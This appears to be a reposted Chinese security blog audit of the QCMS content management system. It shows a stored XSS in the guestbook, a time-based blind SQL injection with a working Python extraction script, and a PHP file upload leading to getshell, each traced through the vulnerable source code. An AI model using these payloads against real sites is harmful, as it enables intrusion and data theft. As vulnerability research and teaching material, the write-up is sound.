QCMS代码审计:XSS+SQL+后台getshell

2020-02-27 约 917 字 预计阅读 5 分钟

声明:本文 【QCMS代码审计:XSS+SQL+后台getshell】 由作者 Forthrglory 于 2020-02-27 09:10:55 首发 先知社区 曾经 浏览数 262 次

感谢 Forthrglory 的辛苦付出!

qcms是一款比较小众的cms,最近更新应该是17年,代码框架都比较简单,但问题不少倒是。。。

网站介绍

QCMS是一款小型的网站管理系统。拥有多种结构类型,包括:ASP+ACCESS、ASP+SQL、PHP+MYSQL

采用国际标准编码(UTF-8)和中文标准编码(GB2312)
功能齐全,包括文章管理,产品展示,销售,下载,网上社区,博客,自助表单,在线留言,网上投票,在线招聘,网上广告等多种插件功能

程序和网页代码分离

支持生成Google、Baidu的网站地图

建站

说实话,官网写的是4.0.,安装确实3.0,然后下面写的是2.0,确实让人摸不清头脑

手动创建数据库即可,需要注意数据库要用MySQL5.0版本,向上会报错

数据库:qcms

后台账号密码: admin admin

漏洞复现

XSS

留言处是XSS重灾区,首当其冲就有一个

按照如图所示构造payload

提交之后无需审核,直接先弹个窗。。

登录后台再弹一个。。

查看数据库,没有过滤直接插入

SQLlike注入

在后台下载管理处

构造payload

http://127.0.0.1/backend/down.html?title=1';select if(ascii(substr((select database()), 1, 1))-113, 1, sleep(5));%23

这里直接附上简单脚本

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# author: Forthrglory
import requests

def getCookie():
    url = 'http://127.0.0.1/admin.php'
    data = {
        'username':'admin',
        'password':'admin'
    }

    session = requests.session()
    res = session.post(url, data)

    return requests.utils.dict_from_cookiejar(res.cookies)

def getDatabase(url, arr, cookies):

    str = ''
    requests.session()

    for i in range(1, 11):
        for j in arr:
            data = url + '?title=1\';select if(ascii(substr((select database()), %s, 1))-%s, 1, sleep(5));%%23' % (i, ord(j))
            # print(data)
            res = requests.get(url=data, cookies=cookies)
            # print(res.elapsed.total_seconds())
            if(res.elapsed.total_seconds() > 5):
                str += j
                print(str)
                break
    print('database=' + str)


if __name__ == '__main__':
    url = 'http://127.0.0.1/backend/down.html'
    arr = []

    for i in range(48, 123):
        arr.append(chr(i))

    cookies = getCookie()
    print(cookies)
    getDatabase(url, arr, cookies)

运行截图

任意文件上传


漏洞产生点在系统设置上传logo处

构造一个test.php文件,内容为<?php phpinfo();,点击上传

可以看到,上传后给出了路径

访问文件,发现上传成功

需要注意的是,每次上传后会将内容的hash保存到数据库中,如果再次上传时会检查数据库内容是否有重复,有则拒绝上传,因此如果第一遍上传有误,需要对内容进行简单的修改才能上传。

代码审计

代码相对来说比较简单,先看结构

Install 安装文件
Lib 系统文件
Static 静态文件
System 控制器+视图

找到路由定义,得到规则

# http://127.0.0.1/控制器/方法/渲染模板


private function _fetch_url(){
        $url = '';
        $controller_arr = array();
        $url_arr = explode('.', str_replace(SITEPATH, '/', $_SERVER['REQUEST_URI']));

        $uri = ($url_arr[0] == '/') ? '/' : substr($url_arr[0], 1);
        if (strpos ( $uri, 'poweredByQesy' ) !== false) {
            echo "powered By QCMS  v ".QCMS_VERSION."<br>\n";
            echo "Auth : Qesy <br>\n";
            echo "Email : 762264@qq.com <br>\n";            
            echo "Your Ip : " . ip () . "<br>\n";
            echo "Date : " . date ( 'Y-m-d H:i:s' ) . "<br>\n";
            echo "UserAgent : " . $_SERVER ['HTTP_USER_AGENT'] . "<br>\n";
            exit ();
        }
        if($uri == '/'){                
            $controller_arr['name'] = $this->_default['default_controller'];
            $controller_arr['url'] = BASEPATH.'Controller/'.$this->_default['default_controller'].EXT;
            $controller_arr['method'] = $this->_default['default_function'];
        }else{          
            $uri_arr = explode($this->_default['url'], $uri);

            foreach($uri_arr as $key => $val){  
                if(empty($val))continue;         
                $file = $url.$val;      
                $url .= $val.'/';
                if(file_exists(BASEPATH.'Controller/'.$file.EXT)){          
                    $controller_arr['name'] = $val;
                    $controller_arr['url'] = BASEPATH.'Controller/'.$file.EXT;
                    $fun_url = substr($uri, strlen($file)+1);   
                    $fun_arr = explode($this->_default['url'], $fun_url);       
                    $controller_arr['method'] = empty($fun_arr[0]) ? 'index' : $fun_arr[0];
                    $controller_arr['fun_arr'] = array_splice($fun_arr, 1);                 
                    break;
                }       
            }
        }var_dump($controller_arr);
        return $controller_arr;
    }

接下来开始漏洞审计

XSS

根据url跟踪到/System/Controller/guest.php->index_Action方法

public function index_Action($page = 0){
        if(!empty($_POST)){
            foreach($_POST as $k => $v){
                $_POST[$k] = trim($v);
            }
            if(empty($_POST['title'])){
                exec_script('alert("标题不能为空");history.back();');exit;
            }
            if(empty($_POST['name'])){
                exec_script('alert("姓名不能为空");history.back();');exit;
            }
            if(empty($_POST['email'])){
                exec_script('alert("邮箱不能为空");history.back();');exit;
            }
            if(empty($_POST['content'])){
                exec_script('alert("留言内容不能为空");history.back();');exit;
            }
            $result = $this->_guestObj->insert(array('title' => $_POST['title'], 'name' => $_POST['name'], 'email' => $_POST['email'], 'content' => $_POST['content'], 'addtime' => time()));
            if($result){
                exec_script('window.location.href="'.url(array('guest', 'index')).'"');exit;
            }else{
                exec_script('alert("留言失败");history.back();');exit;
            }
        }
    ......
}

主要代码如上,其中_guestObj参数为/lib/Model/QCMS_Guest类,跟踪insert方法

public function insert($insert_arr = array(), $tb_name = 0){
        return $this->exec_insert($insert_arr, $tb_name);
    }

继续跟踪至/lib/Config/DB_pdo类

public function exec_insert($insert_arr = array(), $tb_name = 0, $isDebug = 0){
        $tb_name = empty($tb_name) ? 0 : $tb_name;
        $value_str = parent::get_sql_insert($insert_arr);
        $sql = "INSERT INTO ".parent::$s_dbprefix[parent::$s_dbname].$this->p_table_name[$tb_name].$value_str."";
        ! $isDebug || var_dump ( $sql );
        return $this->q_exec($sql);
    }

将参数进行拼接后执行,其中在执行前调用了get_sql_insert方法,继续跟踪

public function get_sql_insert($insert_arr = array()){
        $insert_arr_t = array();
        $value_arr_t = array();
        if(is_array($insert_arr)){
            foreach($insert_arr as $key => $val){
                $insert_arr_t[] = $key;
                if(!get_magic_quotes_gpc()){
                    $value_arr_t[] = '\''.addslashes($val).'\'';
                }else{
                    $value_arr_t[] = '\''.$val.'\'';
                }

            }
            return " (".implode(',', $insert_arr_t).") values (".implode(',', $value_arr_t).")";            
        }       
    }

该方法对单双引号和反斜杠转义,但对尖括号并没有过滤,所以代码直接插入到了数据库中

调用顺序为

Guest->index_action()
    QCMS_Guest->insert()
        Db_pdo->exec_insert()
            Db->get_sql_insert() # 过滤
SQL

根据url找到/System/Controller/backend/down.php->index_Action()方法

public function index_Action($page = 0){
        $condStr = 0;
        if(isset($_GET['title']) && $_GET['title'] != ''){
            $condArr[] = " title LIKE '%".$_GET['title']."%'";
        }
        $condStr = empty($condArr) ? '' : ' WHERE '.implode(' && ', $condArr);
        $count = 0;
        $offset = ($page <= 0) ? 0 : ($page - 1) * $this->pageNum;
        $temp['rs'] = $this->_downObj->selectAll(array($offset, $this->pageNum), $count, $condStr,  '*');
        $temp['page'] = $this->page_bar($count[0]['count'], $this->pageNum, url(array('backend', 'news', 'index', '{page}')), 9, $page);
        $temp['cateRs'] = $this->_cateObj->select('', 'id, name', 0, 'id');
        $this->load_view('backend/down/index', $temp);
    }

直接将参数拼接至语句中,继续跟踪QCMS_Down->selectAll()

public function selectAll($limit = '', &$count, $cond_arr='', $field = '*', $sort = array('id' => 'DESC'), $table = 0){
        $count = $this->exec_select($cond_arr, 'COUNT(*) AS count', $table,  0, '', '', 0);
        return $this->exec_select($cond_arr, $field, $table,  0, $limit, $sort, 0);
    }

第一步查询数据的数量,第二步才是注入点

Db_pdo->exec_select()

public function exec_select($cond_arr=array(), $field='*', $tb_name = 0,  $index = 0, $limit = '', $sort='', $fetch = 0, $isDebug = 0){
        $tb_name = empty($tb_name) ? 0 : $tb_name;
        $limit_str = !is_array($limit) ? $limit : ' limit '.$limit[0].','.$limit[1].'';
        $sort_str = $this->sort($sort);
        $sql = "SELECT ".$field." FROM ".parent::$s_dbprefix[parent::$s_dbname].$this->p_table_name[$tb_name].$this->get_sql_cond($cond_arr).$sort_str.$limit_str."";
        ! $isDebug || var_dump ( $sql );
        if($fetch == 1){
            return $this->q_select($sql, 1);
        }
        if(empty($index)){
            return $this->q_select($sql);
        }else{
            return $this->set_index($this->q_select($sql), $index);
        }
    }

可以看到在我们的数据最后进行拼接之前还经历了get_sql_cond方法的过滤,跟进去

public function get_sql_cond($cond_arr = ''){
        if(empty($cond_arr)){
            return '';
        }
        if(!is_array($cond_arr)){
            return $cond_arr;
        }
        $cond_arr_t = array();
        foreach ($cond_arr as $key => $val){
            if(is_array($val) && empty($val)){
                continue;
            }
            if(is_array($val)){
                $cond_arr_t[] = $key." in (".self::get_sql_cond_by_in($val).")";
            }else{
                if(!get_magic_quotes_gpc()){
                    $cond_arr_t[] = $key."='".addslashes($val)."'";
                }else{
                    $cond_arr_t[] = $key."='".$val."'";
                }

            }           
        }
        return empty($cond_arr_t) ? '' : ' WHERE '.implode(' && ', $cond_arr_t);
    }

匪夷所思的地方来了,当我们传入的数据不为数组时,函数直接返回原始数据,并没有进行过滤,从而导致了注入

调用顺序为

down.php->index_Action()
    QCMS_Down.php->selectAll()
        Db_pdo.php->exec_select()
            Db.php->get_sql_cond() # 过滤

注入点还有比如新闻列表的搜索、产品列表的搜索等几个地方,不过都大同小异,因此不再赘述

任意文件上传

找到调用方法/System/Controller/backend/index.php->ajaxupload_Action()

public function ajaxupload_Action(){
        $result = $this->upload($_FILES['filedata']);
        $arr = array();
        if($result < 0){
            $arr['error'] = 1;
            $arr['msg'] = '上传失败';
            $arr['url'] = '';
        }else{
            $arr['error'] = 0;
            $arr['msg'] = '上传成功';
            $arr['url'] = $result;
        }
        echo json_encode($arr);
    }

跟进Lib/Config/Controllers.php/ControllersAdmin->upload()

public function upload($file_arr = array()){
        $this->_files = $this->load_model('QCMS_Files');
        $uploadObj = $this->load_class('upload');
        $pic = file_get_contents($file_arr['tmp_name']);
        $hash = hash('sha1', $pic);
        $rs = $this->_files->selectOne(array('hash' => $hash));
        if(!empty($rs)){
            $result = $rs['path'];
        }else{
            $result = $uploadObj->upload_file($file_arr);
            if($result < 0){
            }else{
                $this->_files->insert(array(
                        'filename'  =>  $file_arr['name'],
                        'path'      =>  $result,
                        'mimetype'  =>  $file_arr['type'],
                        'ext'       =>  pathinfo($file_arr['name'], PATHINFO_EXTENSION),
                        'size'      =>  $file_arr['size'],
                        'user_id'   =>  $this->id,
                        'addtime'   =>  time(),
                        'hash'      =>  $hash,
                ));
            }
        }
        return $result;
    }

可以看到,方法将内容的hash储存到数据库中,如果存在相同数据,则直接将路径返回,如果不存在,才会进行上传

跟进Lib/Helper/upload.php->upload_file()方法

public function upload_file($file_arr){  
        $ext =  substr(strrchr($file_arr['name'], '.'), 1); 
        if(!is_uploaded_file($file_arr['tmp_name']) || !in_array($file_arr['type'], $this->_type)){
            return -1;
        }
        if($file_arr['size'] > ($this->_size * 1024 * 1024)){
            return -2;
        }
        return self::_move_file($file_arr['tmp_name'], $ext);
    }

如果文件不是post方式上传的或者type不在白名单内,返回-1,然而系统给出的白名单是这些:

private $_type = array(
    'image/pjpeg', 
    'image/jpeg', 
    'image/gif', 
    'image/png', 
    'image/x-png', 
    'image/bmp', 
    'application/x-shockwave-flash', 
    'application/octet-stream', 
    'image/vnd.adobe.photoshop');

php文件的type是这个

Content-Type: application/octet-stream

这算哪门子白名单。。。

继续跟进同类的_move_file方法

private function _move_file($file, $ext){
        $url = $this->_dir.$this->_name.'.'.$ext;
        if(!is_dir($this->_dir)){
            mkdir($this->_dir, 0777, true);
        }
        if (!move_uploaded_file($file, $url)){
            return -3;
        }
        return SITEPATH.$url;
    }

文件名在初始化的时候被赋值为一个随机数,然而文件的路径会被返回给模板并渲染出来

$this->_name =  uniqid(rand(100,999)).rand(1,9);
`

然后就被上传了上去,甚至后缀都是用的原本文件的后缀而不是判断类型然后拼接.jpg.png这样

调用顺序为:

index.php->ajaxupload_Action()
    Controllers/ControllersAdmin->upload()
        upload.php->upload_file()
            upload.php->_move_file()

后记

自从上了大学开始学习安全,也有几年了,审计代码也审计了几个cms,我想整合一下这些cms,做成一个平台之类的,给刚入门的学弟学妹们练练,也不要求多厉害多强大怎样,就想做一个入门训练之类的,顺便锻炼一下自己,以后有机会我再分享出来,有需要的话(可能并不会维护~逃)

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now